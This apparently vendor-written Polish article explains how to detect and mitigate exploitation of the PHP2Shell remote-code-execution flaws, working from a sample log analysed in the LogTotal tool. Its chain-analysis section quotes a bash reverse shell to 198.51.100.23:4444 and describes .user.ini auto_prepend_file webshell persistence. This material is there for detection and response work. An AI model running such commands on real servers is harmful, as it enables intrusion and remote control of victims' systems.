Wykrywanie i Analiza Eksploatacji PHP2Shell

Wykrywanie i Analiza Eksploatacji PHP2Shell

SOC Prime Team
SOC Prime Team linkedin icon Śledź

Wykrywanie PHP2Shell ma znaczenie, ponieważ okno między patchem a rzeczywistą eksploatacją może wynosić jeden dzień. PHP2Shell to nazwa dwóch nieautoryzowanych luk umożliwiających zdalne wykonywanie kodu w rdzeniu PHP, CVE-2026-109618 i CVE-2026-109619, obie ocenione na podstawie CVSS v4.0 na 9.2. Nie jest wymagana autoryzacja, więc każda odsłonięta aplikacja PHP na niezałatanej wersji jest celem. W poniższym przykładzie eksploitacja objawia się awarią pracownika PHP, a następnie uruchomieniem poleceń jako użytkownik serwera WWW.

Ten artykuł obejmuje wykrywanie PHP2Shell przy użyciu przykładowego dziennika analizowanego w LogTotal, narzędziu do analizy dzienników, które dopasowuje zdarzenia do znanych zagrożeń. Poniżej wyjaśniamy kontekst luki, skąd pochodzą dzienniki, co znalazł LogTotal i jak odpowiedzieć.

Analiza PHP2Shell

Obie luki PHP2Shell mają wynik 9.2 według CVSS v4.0 i obie można osiągnąć bez autoryzacji na każdej instalacji PHP obsługującej żądania sieciowe. Aby poprawnie odczytać próbkę dziennika, należy wiedzieć, jak działa każdy błąd, jak szybko doszło do ujawnienia, i które instalacje są narażone.

Rozpocznij za darmo

Szczegóły luk w PHP2Shell

Dwa CVE są odrębnymi błędami związanymi z bezpieczeństwem pamięci w sposobie obsługi przez PHP żądania. Każdy z nich pozwala atakującemu uruchomić kod jako użytkownik serwera WWW.

  • CVE-2026-109618, uszkodzenie pamięci podczas braku pamięci. Gdy PHP zabraknie pamięci w trakcie ustawiania żądania, wewnętrzne dane pozostają częściowo zbudowane i kod czyszczący potem im ufa.
  • CVE-2026-109619, przestarzały globalny stan. Wewnętrzny stan przetrwa pamięć żądania, na które wskazuje, więc następne żądanie, które przejmuje ten sam pracownik, może działać na pozostawionych danych.

Dlatego też eksploatacja objawia się jako błędy PHP „Allowed memory size… exhausted” i awarie pracowników PHP. Publiczne skanery PHP2Shell szukają tych samych sygnałów.

Harmonogram ujawnienia i eksploatacji

Data (2026)Wydarzenie
26 październikaCISA dodało CVE-2026-109618 do swojego katalogu KEV
22 październikaEksploatacja w tym przykładzie zarejestrowana na web-prod-01
21 październikaPHP opublikowało poprawione wersje; watchTowr zaobserwowało eksploatację na wolności
20 październikaSzczegóły wyciekły do mediów społecznościowych przed planowanym ujawnieniem 22 października; PHP ogłosiło wydanie awaryjne

Naukowcy z Calif znaleźli luki i zgłosili je do PHP. Wycieki spowodowały, że łańcuch LogTotal nosi nazwę „Wyciekające krytyczne luki w PHP”. Publiczny kod PoC i frameworki eksploitacji pojawiły się na GitHubie w ciągu kilku dni, a jedno narzędzie badawcze raportuje zweryfikowane wykonanie poleceń jako www-data na kompilacjach od PHP 7.4 do 8.4 poniżej poprawionych wydań.

Które systemy wpływa PHP2Shell

PHP wymienia każdą wersję przed 8.5.12, 8.4.27, 8.3.36 i 8.2.35 jako podatne, a także starsze gałęzie.

Gałąź PHPDotkniętyFix
8.5.xPoniżej 8.5.128.5.12
8.4.xPoniżej 8.4.278.4.27
8.3.xPoniżej 8.3.368.3.36
8.2.xPoniżej 8.2.358.2.35
7.4, 8.0, 8.1Wszystkie wersjeBrak oficjalnego wydania; użyj pakietu dystrybucyjnego lub LTS, minimalnych poprawek źródłowych PHP lub wykonaj aktualizację
7.3 i starsze, w tym PHP 5Wszystkie wersjeBrak poprawki; przejdź na obsługiwaną gałąź

Każda instalacja PHP obsługująca żądania sieciowe jest w zasięgu, niezależnie od tego, czy działa pod kontrolą PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, czy FrankenPHP. PHP ocenia ryzyko najwyżej dla Apache mod_php, gdzie atak może się udać przed uruchomieniem jakiegokolwiek kodu aplikacji.

Źródło logów i zbieranie

AtrybutWartość
PlikPHP2Shell_sample.jsonl
Zdarzenia6
Hostweb-prod-01 (produkcyjny serwer sieciowy Linux)
Okno czasowe22 października 2026, 11:31:30 do 11:31:33 UTC (trzy sekundy)
SchematStyl ECS (@timestamp, event, host, process, file, user)

Plik łączy dwa źródła w jeden schemat:

  • 2 linie tekstu z czasu działania PHP i dziennika błędów PHP-FPM
  • 4 zdarzenia (plik i proces), znormalizowane według ECS

To mieszanie jest typowe dla tego, co dociera do SIEM w praktyce: dzienniki błędów aplikacji obok telemetrii EDR.

Wykrywanie PHP2Shell

LogTotal przetworzył 6 linii w 4,2 sekundy, dopasował 9 reguł do 4 linii i utworzył jeden łańcuch na web-prod-01: PHP2Shell, Wyciekające krytyczne luki w PHP (CVE-2026-109618 & CVE-2026-109619), krytyczne, 100% zgodności, uruchomiono 3 reguły.

Pole werdyktuWynik
WerdyktPodejrzany, wymaga śledztwa
SurowośćKrytyczny
PewnośćŚrednia

Jak rozwija się łańcuch PHP2Shell

Łańcuch śledzi eksploatację w trzech krokach, wszystkie w ciągu trzech sekund.

  1. Awaria. Reguła „Possible CVE-2026-109618 / CVE-2026-109619 Exploitation Attempt – PHP Memory Exhaustion / PHP Worker Crash” dopasowała krytyczny błąd PHP „Allowed memory size… exhausted” i umieranie dziecka PHP-FPM 1201 na SIGSEGV. To te same sygnały awaryjne, których szukają publiczne skanery PHP2Shell.
  2. Powłoka z pracownika sieciowego. „Possible PHP Worker Spawning Unusual Process” i „Suspicious Shell via Web Server [Linux]” uchwyciły php-fpm, działające jako www-data, generujące sh -c bash /dev/shm/.s. Skrypt był zamieszczony w RAM-backowanym /dev/shm.
  3. Odwrócona powłoka. „Possible Data Exfiltration / Reverse Shell via Bash” dopasowało bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Poza łańcuchem cztery inne reguły dotknęły tego samego polecenia, prowadzone przez wskaźnik powłoki odwrótnej w Linuxie (Krytyczny).

Korzystanie z wyników LogTotal w triażeryzacji PHP2Shell

Łańcuch podaje kolejność zdarzeń i poziom surowości na jednym ekranie. Surowe zdarzenia dostarczają IOCs do zablokowania i trwałości do usunięcia. Użyj obu: potwierdź trzy kroki łańcucha, a następnie zrecenzuj zdarzenia plików i linie poleceń dla IOCs i trwałości.

Łagodzenie PHP2Shell

Definitywnym rozwiązaniem dla PHP2Shell jest poprawione wydanie PHP, a PHP stwierdza, że żadna zmiana konfiguracji nie w pełni łagodzi tych luk. Na serwerze, który już został wyeksploatowany, naprawa nie wystarczy: webshell i .user.ini przetrwają aktualizację PHP.

Załatw każdą instalację PHP

  1. Sporządź inwentarz każdego serwera i aplikacji, która uruchamia PHP, zaczynając od systemów dostępnych z internetu i tych, które uruchamiają PHP jako moduł Apache.
  2. Zaktualizuj każdą instalację do 8.5.12, 8.4.27, 8.3.36 lub 8.2.35, odpowiadającą jej gałęzi. Dystrybucje Linuxa otrzymały poprawki przed wydaniem, więc sprawdź aktualizowane pakiety dystrybucji.
  3. Zrestartuj każdego pracownika PHP, aby poprawka miała skutek.
  4. Dla PHP 7.4, 8.0 i 8.1, użyj pakietu dystrybucyjnego lub LTS, minimalnych poprawek źródłowych PHP lub wykonaj aktualizację. PHP 7.3 i starsze nie mają poprawek.
  5. Ogranicz dostęp do internetu do każdego systemu PHP, którego nie możesz zaktualizować natychmiast.

Trackery społeczności również zgłaszają CVE-2026-115560, odrębny, zależny od konfiguracji wektor przesyłania sesji z postępem, omówiony w doradztwie informacyjnym PHP z dnia 23 października 2026. Nie jest częścią PHP2Shell i został pozostawiony na późniejsze wydanie; tymczasowym zaleceniem jest session.upload_progress.enabled = 0.

Zalecana odpowiedź LogTotal

  1. Izoluj web-prod-01.
  2. Zachowaj jego dzienniki sieciowe, systemowe i sieciowe.
  3. Zbadaj miejsce przeznaczenia odwróconej powłoki.
  4. Zweryfikuj wersję PHP i łatkę.
  5. Alarmuj na przyszłe awarie pracowników PHP i generowanie powłok.

Dodatkowe kroki z nieprzetworzonych dowodów

  1. Zablokuj egress do 198.51.100.23:4444.
  2. Zachowaj dowody przed czyszczeniem: skopiuj uploads/.cache.php, .user.ini i /dev/shm/.s. Pliki w /dev/shm są tracone po ponownym uruchomieniu.
  3. Usuń trwałość. Usuń dyrektywę auto_prepend_file lub lepiej, odbuduj hosta na poprawionej wersji PHP.
  4. Obróć każde tajne www-data może odczytać, takie jak dane logowania do bazy danych i klucze API w konfiguracji aplikacji.
  5. Śledź flotę sieciową dla:
    • plików .user.ini zawierających auto_prepend_file
    • ukrytych plików PHP w folderach przesyłania
    • powłok generowanych przez php-fpm, php-cgi, apache2 lub httpd

Ciągłe monitorowanie PHP2Shell

Utrzymuj dzienniki błędów PHP i PHP-FPM przepływające do Twojego SIEM obok telemetrii EDR. W tym przykładzie linie awarii były pierwszym sygnałem, a zdarzenia plików EDR przechowały trwałość. Każde źródło osobno opowiedziałoby tylko połowę historii.

FAQ

Czym jest PHP2Shell i jak to działa?

PHP2Shell to dwie bezwarunkowe luki umożliwiające zdalne wykonanie kodu w rdzeniu PHP: CVE-2026-109618 (uszkodzenie pamięci podczas braku pamięci) i CVE-2026-109619 (przestarzały globalny stan), obie ocenione na CVSS v4.0 na 9.2. Każda z nich pozwala atakującemu na uruchomienie kodu jako użytkownik serwera WWW. Sekcja analityczna powyżej wyjaśnia, jak każda z nimi działa.

Kiedy po raz pierwszy odkryto PHP2Shell?

Naukowcy z Calif zgłosili te luki do PHP. Szczegóły wyciekły 20 października 2026, a PHP wydało poprawki 21 października, dzień przed planowanym ujawnieniem.

Jakie wersje PHP są dotknięte przez PHP2Shell?

Każda wersja przed 8.5.12, 8.4.27, 8.3.36 i 8.2.35, plus wszystkie z PHP 7.4, 8.0, 8.1 i starsze gałęzie w tym PHP 5. Każda instalacja PHP obsługująca żądania sieciowe jest w zakresie, z Apache mod_php o najwyższym ryzyku.

Jaki jest wpływ PHP2Shell na systemy?

Niezautoryzowany atakujący może uruchomić kod jako użytkownik serwera WWW. W tym przykładzie doprowadziło to do utworzenia powłoki odwróconej do 198.51.100.23:4444 i ukrytego webshellu załadowanego przy każdym żądaniu PHP przez .user.ini. Każda tajemnica czytelna przez www-data powinna być traktowana jako ujawniona.

Czy PHP2Shell może nadal mnie dotknąć w 2026 roku?

Tak. PHP2Shell jest wykorzystywany w rzeczywistości i wpisany do katalogu KEV CISA. Serwery niezałatane, gałęzie, które zakończyły życie bez poprawki zwrotnej oraz serwery skompromitowane, z których zostanie usunięta trwałość webshellu, pozostają w ryzyku.

Jak mogę się chronić przed PHP2Shell?

Zaktualizuj do poprawionej wersji PHP i zrestartuj każdego pracownika PHP; żadna zmiana konfiguracji nie w pełni łagodzi PHP2Shell. Następnie ogranicz egress serwera sieciowego, rotuj hasła czytelne przez użytkownika sieciowego i audytuj foldery przesyłania oraz pliki .user.ini pod kątem trwałości. Sekcja łagodzenia zawiera pełne kroki.

Jak mogę wykryć PHP2Shell?

Zbieraj błędy PHP i PHP-FPM wraz z procesami EDR i zdarzeniami plików. Alarmuj na wyczerpanie pamięci PHP i awarie pracowników, powłoki generowane przez php-fpm, php-cgi, apache2 lub httpd oraz nowe pliki .user.ini z auto_prepend_file. Uruchomienie eksportu przez LogTotal mapuje te zdarzenia na łańcuch PHP2Shell i pokazuje kolejność ataku w jednym widoku.

Dołącz do platformy Detection as Code firmy SOC Prime aby zwiększyć widoczność zagrożeń najbardziej istotnych dla Twojego biznesu. Aby pomóc Ci rozpocząć i natychmiast uzyskać wartość, umów się teraz na spotkanie z ekspertami SOC Prime.